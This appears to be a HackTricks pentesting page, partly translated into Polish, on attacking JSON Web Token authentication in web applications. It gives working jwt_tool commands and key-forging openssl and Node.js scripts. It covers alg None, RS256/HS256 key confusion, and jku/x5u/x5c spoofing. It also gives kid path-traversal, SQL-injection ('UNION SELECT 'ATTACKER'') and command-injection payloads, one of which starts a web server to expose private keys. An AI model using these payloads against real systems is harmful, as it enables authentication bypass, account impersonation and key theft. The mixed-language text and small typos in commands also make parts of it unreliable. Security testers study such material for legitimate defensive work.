18 KiB
JWT Vulnerabilities (Json Web Tokens)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
If you are interested in hacking career and hack the unhackable - we are hiring! (wymagana biegła znajomość języka polskiego w mowie i piśmie).
{% embed url="https://www.stmcyber.com/careers" %}
Part of this post is based in the awesome post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Author of the great tool to pentest JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Run jwt_tool with mode All Tests!
and wait for green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Jeśli masz szczęście, narzędzie znajdzie przypadek, w którym aplikacja webowa nieprawidłowo sprawdza JWT:
Następnie możesz wyszukać żądanie w swoim proxy lub zrzucić używany JWT dla tego żądania za pomocą jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Możesz również użyć Burp Extension SignSaboteur do przeprowadzania ataków JWT z Burp.
Modyfikacja danych bez zmiany czegokolwiek
Możesz po prostu zmodyfikować dane, pozostawiając podpis bez zmian, i sprawdzić, czy serwer weryfikuje podpis. Spróbuj zmienić swoją nazwę użytkownika na "admin", na przykład.
Czy token jest weryfikowany?
Aby sprawdzić, czy podpis JWT jest weryfikowany:
- Komunikat o błędzie sugeruje trwającą weryfikację; wrażliwe szczegóły w szczegółowych błędach powinny być przeglądane.
- Zmiana w zwróconej stronie również wskazuje na weryfikację.
- Brak zmiany sugeruje brak weryfikacji; to jest moment, aby eksperymentować z modyfikowaniem roszczeń ładunku.
Pochodzenie
Ważne jest, aby ustalić, czy token został wygenerowany po stronie serwera, czy po stronie klienta, badając historię żądań proxy.
- Tokeny po raz pierwszy widziane po stronie klienta sugerują, że klucz może być narażony na kod po stronie klienta, co wymaga dalszego zbadania.
- Tokeny pochodzące z serwera wskazują na bezpieczny proces.
Czas trwania
Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.
Atak brute-force na tajny klucz HMAC
Zmień algorytm na None
Ustaw używany algorytm na "None" i usuń część podpisu.
Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby spróbować tej podatności i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz zmodyfikować wartości tokena. Możesz również wybrać, aby ustawić wartość pola "Alg" na "None").
Zmień algorytm RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)
Algorytm HS256 używa tajnego klucza do podpisywania i weryfikacji każdej wiadomości.
Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i używa klucza publicznego do uwierzytelniania.
Jeśli zmienisz algorytm z RS256 na HS256, kod zaplecza używa klucza publicznego jako tajnego klucza, a następnie używa algorytmu HS256 do weryfikacji podpisu.
Następnie, używając klucza publicznego i zmieniając RS256 na HS256, moglibyśmy stworzyć ważny podpis. Możesz pobrać certyfikat serwera WWW, wykonując to:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nowy klucz publiczny w nagłówku
Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).
Można to zrobić za pomocą rozszerzenia "JSON Web Tokens" w Burp.
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).
Oszustwo JWKS
Instrukcje szczegółowo opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych, które wykorzystują roszczenie nagłówka "jku". To roszczenie powinno prowadzić do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokena.
- Ocena tokenów z nagłówkiem "jku":
- Zweryfikuj URL roszczenia "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
- Zmodyfikuj wartość "jku" tokena, aby skierować ją do kontrolowanej usługi internetowej, co umożliwi obserwację ruchu.
- Monitorowanie interakcji HTTP:
- Obserwowanie żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku.
- Podczas korzystania z
jwt_tool
w tym procesie, ważne jest, aby zaktualizować plikjwtconf.ini
o lokalizację swojego JWKS, aby ułatwić testowanie. - Polecenie dla
jwt_tool
: - Wykonaj następujące polecenie, aby zasymulować scenariusz z
jwt_tool
:
python3 jwt_tool.py JWT_HERE -X s
Przegląd problemów z Kid
Opcjonalne roszczenie nagłówka znane jako kid
jest wykorzystywane do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, w których istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena.
Ujawnianie klucza przez "kid"
Gdy roszczenie kid
jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono "kid":"key/12345"
, należy przeszukać pliki /key/12345 i /key/12345.pem w katalogu głównym serwisu.
Przechodzenie po ścieżkach z "kid"
Roszczenie kid
może być również wykorzystane do nawigacji po systemie plików, co potencjalnie umożliwia wybór dowolnego pliku. Możliwe jest testowanie łączności lub przeprowadzanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości kid
, aby celować w konkretne pliki lub usługi. Manipulacja JWT w celu zmiany wartości kid
, zachowując oryginalny podpis, może być osiągnięta za pomocą flagi -T
w jwt_tool, jak pokazano poniżej:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space
file in Linux systems, known to contain the value 2, can be used in the kid
parameter with 2 as the symmetric password for JWT generation.
SQL Injection via "kid"
If the kid
claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid
payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER
, for JWT signing.
OS Injection through "kid"
A scenario where the kid
parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid
parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
If the token uses a “jku” Header claim then sprawdź podany URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Następnie możesz użyć na przykład jwt.io, aby stworzyć nowy JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr jku na utworzony certyfikat. Aby stworzyć ważny certyfikat jku, możesz pobrać oryginalny i zmienić potrzebne parametry.
Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym, który został użyty do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Transportowe zabezpieczenia są wymagane do przesyłania certyfikatów.
Spróbuj zmienić ten nagłówek na URL pod twoją kontrolą i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku możesz manipulować JWT.
Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez Ciebie, musisz stworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Następnie możesz użyć na przykład jwt.io do stworzenia nowego JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametru x5u na certyfikat .crt utworzony.
Możesz również wykorzystać obie te luki do SSRF.
x5c
Ten parametr może zawierać certyfikat w base64:
Jeśli atakujący wygeneruje certyfikat samopodpisany i stworzy fałszywy token używając odpowiadającego klucza prywatnego oraz zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to zasadniczo fałszywy token zostanie zaakceptowany przez serwer.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Wbudowany Klucz Publiczny (CVE-2018-0114)
Jeśli JWT zawiera wbudowany klucz publiczny, jak w poniższym scenariuszu:
Używając poniższego skryptu nodejs, możliwe jest wygenerowanie klucza publicznego z tych danych:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Możliwe jest wygenerowanie nowego klucza prywatnego/publicznego, osadzenie nowego klucza publicznego wewnątrz tokena i użycie go do wygenerowania nowego podpisu:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Możesz uzyskać "n" i "e" za pomocą tego skryptu nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.
ES256: Odkrywanie klucza prywatnego przy użyciu tego samego nonce
Jeśli niektóre aplikacje używają ES256 i używają tego samego nonce do generowania dwóch jwt, klucz prywatny może zostać przywrócony.
Here is a example: ECDSA: Odkrywanie klucza prywatnego, jeśli użyto tego samego nonce (z SECP256k1)
JTI (JWT ID)
Zgłoszenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokena JWT. Może być używane do zapobiegania ponownemu odtwarzaniu tokena.
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądania 0001 i 10001 będą używać tego samego ID. Jeśli backend zwiększa ID przy każdym żądaniu, można to wykorzystać do ponownego odtwarzania żądania (konieczność wysłania 10000 żądań między każdym udanym odtworzeniem).
Zarejestrowane zgłoszenia JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Inne ataki
Ataki Relay między usługami
Zaobserwowano, że niektóre aplikacje internetowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy zbadać możliwość rejestracji konta na innym kliencie tej usługi przy użyciu tej samej nazwy użytkownika/adresu e-mail. Następnie należy spróbować ponownie odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy jest akceptowany.
- Krytyczny problem może być wskazywany przez akceptację twojego tokena, co potencjalnie umożliwia podszywanie się pod konto dowolnego użytkownika. Należy jednak zauważyć, że może być wymagana zgoda na szersze testowanie, jeśli rejestracja w aplikacji zewnętrznej jest przeprowadzana, ponieważ może to wprowadzać w obszar szarości prawnej.
Sprawdzanie ważności tokenów
Ważność tokena jest sprawdzana za pomocą zgłoszenia "exp" Payload. Biorąc pod uwagę, że JWT są często używane bez informacji o sesji, wymagana jest ostrożna obsługa. W wielu przypadkach przechwycenie i ponowne odtworzenie tokena innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków ponownego odtwarzania JWT poprzez wykorzystanie zgłoszenia "exp" do ustawienia czasu wygaśnięcia tokena. Ponadto wdrożenie odpowiednich kontroli przez aplikację w celu zapewnienia przetwarzania tej wartości i odrzucania wygasłych tokenów jest kluczowe. Jeśli token zawiera zgłoszenie "exp" i limity czasowe testowania na to pozwalają, zaleca się przechowywanie tokena i ponowne odtwarzanie go po upływie czasu ważności. Zawartość tokena, w tym analiza znaczników czasowych i sprawdzanie ważności (znacznik czasu w UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.
- Może występować ryzyko bezpieczeństwa, jeśli aplikacja nadal weryfikuje token, ponieważ może to sugerować, że token nigdy nie może wygasnąć.
Narzędzia
{% embed url="https://github.com/ticarpi/jwt_tool" %}
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.